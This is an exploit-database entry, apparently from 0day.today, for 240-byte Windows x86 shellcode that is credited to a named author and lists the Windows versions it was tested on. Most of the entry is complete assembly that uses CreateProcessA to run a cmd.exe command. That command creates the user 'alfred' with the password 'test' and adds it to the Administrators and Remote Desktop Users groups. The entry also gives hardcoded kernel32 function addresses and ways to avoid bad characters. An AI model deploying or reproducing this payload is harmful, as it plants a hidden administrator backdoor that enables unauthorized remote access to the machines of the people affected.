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Windows/x86 - Add User Alfred to Administrators/Remote Desktop Users Group Shellcode (240 bytes)
[# Exploit Title: Windows/x86 - Add User Alfred to Administrators/Remote Desktop Users Group Shellcode (240 bytes) # Exploit Author: Armando Huesca Prida # # Tested on: # Windows 7 Professional 6.1.7601 SP1 Build 7601 (x86) # Windows Vista Ultimate 6.0.6002 SP2 Build 6002 (x86) # Windows Server 2003 Enterprise Edition 5.2.3790 SP1 Build 3790 (x86) # # Description: # Windows x86 Shellcode that uses CreateProcessA Windows API to add a new user to administrators and remote desktop users group. This shellcode uses JMP/CALL/POP technique and static kernel32.dll functions addresses. # It's possible to bypass bad-chars by switching the message db string between uppercase and lowercase letters. # # Shellcode considerations: # Function address of CreateProcessA in kernel32.dll: 0x77082082 # Function address of ExitProcess in kernel32.dll: 0x770d214f # Administartor user credentials: alfred:test # Size of message db parameter, 152 bytes -> 0x98 hex =3D 0x111111A9 - 0x11111111 (0x00 badchar avoidance) ;) # # Assembly shellcode: global _start section .text _start: jmp application firststep: pop edi xor eax, eax mov esi, 0x111111A9 sub esi, 0x11111111 mov [edi+esi], al ; size of message db parameter StartUpInfoANDProcessInformation: push eax; hStderror null in this case push eax; hStdOutput, null push eax; hStdInput, null xor ebx, ebx xor ecx, ecx add cl, 0x12; 18 times loop to fill both structures. looper: push ebx loop looper ;mov word [esp+0x3c], 0x0101; dwflag arg in startupinfo mov bx, 0x1111 sub bx, 0x1010 mov word [esp+0x3c], bx mov byte [esp+0x10], 0x44; cb=3D0x44 lea eax, [esp+0x10]; eax points to StartUpInfo ; eax holds a pointer to StartUPinfo ; esp holds a pointer to Process_Info filled of null values createprocessA: push esp; pointer to Process-Info push eax; pointer to StartUpInfo xor ebx, ebx push ebx; null push ebx; null push ebx; null inc ebx push ebx; bInheritHandles=3Dtrue dec ebx push ebx; null push ebx; null push edi; pointer to message db string push ebx; null mov edx, 0x77082082; CreateProcessA addr in kernel32.dll call edx ExitProcess: push eax; createprocessA return in eax mov edx, 0x770d214f; ExitProcess addr in kernel32.dll call edx application: call firststep message db 'c:\windows\system32\cmd.exe /c net user alfred test /add & net localgroup ADMINISTRATORS alfred /add & net localgroup "Remote Desktop Users" alfred /add' # 0day.today [2024-11-14] #